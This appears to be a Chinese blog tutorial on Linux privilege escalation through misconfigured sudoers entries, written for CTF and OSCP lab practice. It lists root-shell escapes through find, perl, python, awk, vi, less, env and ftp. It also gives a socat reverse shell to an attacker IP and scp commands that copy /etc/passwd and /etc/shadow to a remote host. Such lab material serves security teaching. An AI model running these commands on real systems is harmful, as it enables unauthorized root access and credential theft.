0x00 前言

在我们之前的文章中,我们讨论了如何使用SUID二进制文件/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧”的方法。 在解决CTF挑战时,对于权限提升,我们始终通过执行sudo -l命令来检查任何用户执行任何文件或命令的root权限。 您可以阅读我们之前的文章,其中我们已应用此技巧进行权限提升。

0x01 sudoer基础

1.基本概念

在Linux/Unix中,/etc目录下的sudoers文件是sudo权限的配置文件。我们都知道sudo命令的强大功能,sudo这个词代表了超级用户权限。Sudoers文件是存储具有root权限的用户和组的文件,以root或其他用户身份运行部分或全部命令。请看下图:

当与sudo一起运行任何命令时,它需要root权限才能执行,Linux会检查sudoers文件中的特定用户名。并给出结论,特定的用户名是否在sudoers文件列表中,如果没有,那么就不能使用sudo命令运行命令或程序。根据sudo权限,root用户可以从ALL终端执行,充当所有用户:all group,并运行ALL命令。

2.Sudoer文件语法

 如果(root用户)希望授予任何特定用户sudo权限,请输入visudo命令,该命令将打开sudoers文件进行编辑。在用户权限规范下,您将看到默认的root权限“root ALL =(ALL:ALL)ALL”,但在实际情况下,还提供了标记选项,这是可选的,如下图所示。

考虑下面的示例,我们要为用户raaz分配sudo权限,raaz访问终端并使用root权限运行copy命令。这里没有密码标签,这意味着不会为用户请求密码。

注意:

  1. (ALL:ALL)也可以表示为(ALL)
  2. 如果您找到(root)代替(ALL:ALL),则表示用户可以以root身份运行该命令
  3. 如果没有提及用户或组,则表示sudo默认为root用户

让我们深入了解实际情况。首先,创建一个不属于sudo组的用户。这里我们添加了用户“raaz”,其uid为1002,gid为1002,因此raaz是非root用户

 

0x02 分配root权限的方法

1.分配Root权限的传统方法

如果系统管理员希望授予用户raaz所有权限,那么他可以按照以下步骤在用户权限规范类别下添加用户raaz。

visudo
raaz ALL=(ALL:ALL) ALL
or
raaz ALL=(ALL) ALL

(1) 生成root访问

另一方面,启动攻击主机,首先攻击目标系统,然后进入特权提升阶段。假设您成功地通过ssh登录到受害者的主机,并且想知道当前用户的sudo权限,然后执行下面的命令

sudo -l

在传统方法中,passwd选项在执行上述命令的同时来启用用户身份验证,并且可以使用nopasswd选项来禁用它。突出显示的文本表示当前用户被授权执行的所有命令。因此,我们通过执行命令获得了root访问权限。

sudo su
id

2.分配root权限的默认方法 

如果系统管理员想要授予用户raaz执行所有命令和程序的root权限,那么他可以按照以下步骤在用户权限规范类别下添加用户raaz。

visudo
raaz ALL=ALL
or
raaz ALL=(root) ALL

此处还启用了默认的passwd选项来进行身份验证。

(1).生成root访问

再次攻击目标系统,然后按照上述步骤进入权限提升阶段,并执行以下命令以查看sudo用户列表

sudo -l

在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行所有命令。。因此,我们可以通过执行更多的下行步骤来实现root访问

sudo su
or
sudo bash

注意:在执行sudo-l命令时,上述两种方法都会要求用户密码进行身份验证,因为默认情况下启用了passwd选项。

0x03 提权技巧

1.允许二进制命令的Root权限

有时用户有权执行特定目录的任何文件或命令,如/bin/cp、/bin/cat或/usr/bin/find,这种类型的权限会导致root权限的权限提升,可以通过以下步骤来实现。

raaz ALL=(root) NOPASSWD: /usr/bin/find

 注意:此处NOPASSWD选项表示在运行sudo -l命令时将不会为身份验证请求密码。

 

(1) 使用Find命令生成Root访问权限

再次攻击受害者的系统,然后进入特权升级阶段,执行下面的命令查看sudo用户列表。

sudo -l

此时,您可以注意到突出显示的文本表示用户raaz可以通过find命令运行任何命令。因此,我们通过执行以下命令获得root访问权限。

sudo find /home -exec /bin/bash \;
id

 

2.允许二进制程序的root权限

有时,管理员会为特定用户分配精细的权限,以运行二进制程序,允许用户编辑任何系统文件,如/etc/passwd等。如果授权给用户,某些二进制程序可能会导致权限提升。在下面给出的命令中,我们为以下程序分配了sudo权限,该程序可以以root用户身份运行。

raaz ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi

(1) 使用Perl单命令生成shell

权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。

sudo -l

现在您可以看到突出显示的文本,显示用户raaz可以以root用户身份运行Perl语言程序或脚本。因此,我们通过执行Perl单命令获得root访问权限。

sudo perl -e 'exec "/bin/bash";'
id

(2) 使用Python单命令生成shell

在攻击目标系统之后,然后如上所述那样进入特权提升阶段,执行以下命令以查看sudo用户列表

sudo -l

此时,您可以看到突出显示的文本,显示用户raaz可以以root用户身份运行python语言程序或脚本。因此,我们通过执行python单命令获得root访问权限。

sudo python -c 'import pty;pty.spawn("/bin/bash")'
id

(3) 使用Less命令生成shell

权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。

sudo -l

在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行less命令。因此,我们通过执行以下命令来获得root访问权限。

sudo less /etc/hosts

它将打开请求的系统文件进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。

您将获得root访问权限,如下图所示。

(4) 使用AWK单命令生成shell

在攻击受害者系统之后,目标系统会像上述那样进入特权提升阶段,执行以下命令以查看sudo用户列表

sudo -l

在此阶段,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行AWK命令。因此,我们通过执行以下命令来获得root访问权限。

sudo awk 'BEGIN {system("/bin/bash")}'
id

(5) 使用Man命令生成shell

权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。

sudo -l

在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行man命令。因此,我们通过执行以下命令来获得root访问权限。

sudo man man

它将打开请求的系统文件进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。

您将获得root访问权限,如下图所示。

(6) 使用Vi编辑器生成shell

权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。

sudo -l

在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行vi命令。因此,我们通过执行以下命令来获得root访问权限。

sudo vi

因此,它将打开vi编辑器进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。就可以像上面那样使用less命令获得root权限。

您将获得root访问权限,如下图所示。

id
whoami

注意:对less,nano,man,vi和man的sudo的权限非常危险,因为它们允许用户编辑系统文件并导致权限提升。

 

 3.允许Shell脚本的root权限

对于系统或程序调用,有最大的机会获得任何类型的脚本的权限提升,它可以是任何脚本(bash、php、python或c语言脚本)。假设您(系统管理员)想要对任何将在执行时提供bash shell的脚本赋予sudo权限。

例如,我们有一些脚本将在执行时提供root命令终端,在下图中,您可以看到我们已经编写了3个程序,通过使用不同的编程语言来获取bash shell,并将所有三个文件都保存在bin/script中,该三个文件为:asroot.py、asroot.sh、asroot.c(编译文件shell)

注意:在解决OSCP挑战时,您会发现某些脚本被作者隐藏,用于利用内核或root shell,并为任何特定用户设置sudo权限以执行该脚本。

现在允许raaz以root用户身份运行以上所有脚本,方法是在以下命令的帮助下编辑sudoers文件。

raaz ALL= (root) NOPASSWD: /bin/script/asroot.sh, /bin/script/asroot.py, /bin/script/shell

(1) 通过执行Bash脚本生成root shell

执行下面的权限提升命令以查看sudo用户列表。

sudo -l

突出显示的文本显示用户raaz可以作为root用户运行asroot.sh。因此,我们通过运行asroot.sh脚本获得root访问权限。

sudo /bin/script/asroot.sh
id

(2) 通过执行Python脚本生成root shell

执行下面的权限提升命令以查看sudo用户列表

sudo -l

此时,突出显示的文本显示用户raaz可以作为root用户运行asroot.py。因此,我们通过执行以下脚本获取了root访问权限。

sudo /bin/script/asroot.py
id

(3)  通过执行C语言脚本生成root shell

在攻击目标系统之后,执行下面的权限提升命令以查看sudo用户列表。

sudo -l

在这里,您可以看到突出显示的文本,表示用户raaz可以以root用户身份运行shell(asroot.c编译文件)。所以我们通过执行以下shell获得了root访问权限。

sudo /bin/script/shell
id

4.允许其他程序的sudo权限

正如上面所看到的那样,一些具有sudo权限的二进制程序有助于获得root访问权限。但除此之外,还有一些应用程序可以活得root访问权限,如果拥有sudo权限,如FTP或socat。在下面给出的命令中,我们为以下程序分配了sudo权限,该程序可以以root用户身份运行。

raaz    ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat

(1)  使用环境生成Shell

在权限提升阶段,执行以下命令查看sudo用户列表。

 sudo -l

正如我们可以看到的用户:raaz对env、ftp、scp和socat拥有sudo权限,现在让我们逐个尝试通过它们获得root访问权限。

sudo env /bin/bash
whoami

(2)  使用FTP生成Shell

现在让我们尝试使用以下命令通过FTP获得root访问权限:

sudo ftp
! /bin/bash
whoami
or
! /bin/sh
id
whoami

(3) 使用Socat生成Shell

现在让我们尝试通过socat在以下命令的帮助下获得root访问权限。在攻击者的终端上执行以下命令,以使侦听器能够进行反向连接。

socat file:`tty`,raw,echo= tcp-listen:

然后在受害者的主机上运行以下命令,您将在攻击者计算机上获得root访问权限。

sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:

(4)  通过SCP生成shell

正如我们所知,sudo权限对于scp是可用的,但不可能获得如上所示的bash shell目录,因为它是一种安全地在本地主机和远程主机之间移动任何文件的方法。因此,我们可以使用它来传输那些需要root权限来执行读/写操作的系统文件,例如/etc/passwd和/etc/shadow文件。

语法: scp SourceFile user@host:~/目录路径

sudo scp /etc/passwd aarti@192.168.1.105:~/
sudo scp /etc/shadow aarti@192.168.1.105:~/

现在让我们通过检查远程目录来确认,正如您看到的那样,我们在远程PC中成功地接收到了passwd和shadow文件。

 
 
 
 
 

使用sudo进行Linux权限升级技巧的更多相关文章

  1. 使用PATH变量进行Linux权限升级技巧

    0x00 前言 在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助.在本文中,我们将学习“使用$path变量的各种方法”以 ...

  2. 使用SUID二进制文件进行Linux权限升级技巧

      0x00 基础知识 众所周知,在Linux中一切都以文件存在,包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备.因此,当给任何文件设置权限时,应该需要了解允许的Linux用户或限制 ...

  3. 使用LD_Preload的Linux权限升级技巧

      0x00 前言 共享库是程序在启动时加载的库.正确安装共享库后,之后启动的所有程序将自动使用新的共享库. 0x01 共享库名称 每个共享库都有一个名为soname的特殊名称.soname有前缀li ...

  4. 编辑/etc/passwd文件进行权限升级的技巧

    0x00 前言 在本文中,我们将学习“修改/etc/passwd文件以创建或更改用户的root权限的各种方法”.有时,一旦目标被攻击,就必须知道如何在/etc/passwd文件中编辑自己的用户以进行权 ...

  5. Security基础(一):Linux基本防护措施、使用sudo分配管理权限、提高SSH服务安全

    一.Linux基本防护措施 目标: 本案例要求练习Linux系统的基本防护措施,完成以下任务: 修改用户zhangsan的账号属性,设置为2015-12-31日失效(禁止登录) 锁定用户lisi的账户 ...

  6. 给新手的 10 个有用 Linux 命令行技巧

    我记得我第一次使用 Linux 的时候,我还习惯于 Windows 的图形界面,我真的很讨厌 Linux 终端.那时候我觉得命令难以记忆,不能正确使用它们.随着时间推移,我意识到了 Linux 终端的 ...

  7. linux===给新手的 10 个有用 Linux 命令行技巧(转)

    本文转自:http://www.codeceo.com/article/10-linux-useful-command.html?ref=myread 仅用作学习交流使用.如有侵权,立删 我记得我第一 ...

  8. Shell基础:Linux权限管理

    Linux权限基本概念 查看系统(文件夹/文件)权限: ls -l =>d/-   xxx xxx xxx.  num  owner  group  size   date  filename ...

  9. Linux权限管理(week1_day5)--技术流ken

    权限概述 Linux系统一般将文件可存/取访问的身份分为3个类别:owner(拥有者).group(和所有者同组的用户).others(其他人,除了所有者,除了同组的用户以及除了超级管理员),且3种身 ...

随机推荐

  1. IIS连接数、并发连接数、最大并发工作线程数、应用程序池的队列长度、应用程序池的最大工作进程数详解

    IIS:连接数.并发连接数.最大并发工作线程数.应用程序池的队列长度.应用程序池的最大工作进程数详解 iis性能指标的各种概念:连接数.并发连接数.最大并发工作线程数.应用程序池的队列长度.应用程序池 ...

  2. 多线程--同步--方法块和同步块synchronized

    package com.sxt.syn; /** * 线程安全: 在并发时保证数据的正确性.效率尽可能高 * synchronized * 1.同步方法 * 2.同步块 * * */ public c ...

  3. canvas笔记备忘

    备忘 1. canvas标签的宽和高设置是标签属性设置, 不是 css 属性设置. 如果用 css 属性设置大小, canvas 会被拉伸. 标签属性例如: class, id, style, wid ...

  4. 使用CompletableFuture实现业务服务的异步调用实战代码

    假如我有一个订单相关的统计接口,需要返回3样数据:今日订单数.今日交易额.总交易额. 一般的我们的做法是串行调用3个函数,把调用返回的结果返回给调用者,这3次调用时串行执行的,如果每个调用耗时1秒的话 ...

  5. 【原】QuickTime安装时,提示CAB文件"QuickTime.cab"中找不到此文件

    卸载安装程序:apple software updateapple mobile device supportapple 应用程序支持32apple 应用程序支持64 再重新安装quicktime

  6. 泡泡一分钟:Context-Aware Modelling for Augmented Reality Display Behaviour

    张宁 Context-Aware Modelling for Augmented Reality Display Behaviour链接:https://pan.baidu.com/s/1RpX6kt ...

  7. [MySQL] MySQL存储过程 事务transaction 数据表重建

    直接上代码 -- 删除存储过程 DROP PROCEDURE IF EXISTS `renew_message_queue`; -- 添加; 的转义 DELIMITER ;; CREATE PROCE ...

  8. OKEx交易所交易记录日期时间转毫秒级时间戳

    本文介绍如何将OKEx交易所成交记录数据中的日期时间转毫秒级时间戳. 作者:比特量化 1. OKEx交易记录格式 [ { "time":"2019-09-14T10:29 ...

  9. Java Web 应用概述

    1.java Web 应用是建立在java语言基础上的企业web应用系统,oracle公司根据行业发展和便于开发制定了一套规范:Java EE规范,截至到当前(2016.3.11)是java EE7规 ...

  10. [转帖]美团在Redis上踩过的一些坑-1.客户端周期性出现connect timeout

    美团在Redis上踩过的一些坑-1.客户端周期性出现connect timeout 博客分类: redis 运维 jedisconnect timeoutnosqltcp  转载请注明出处哈:http ...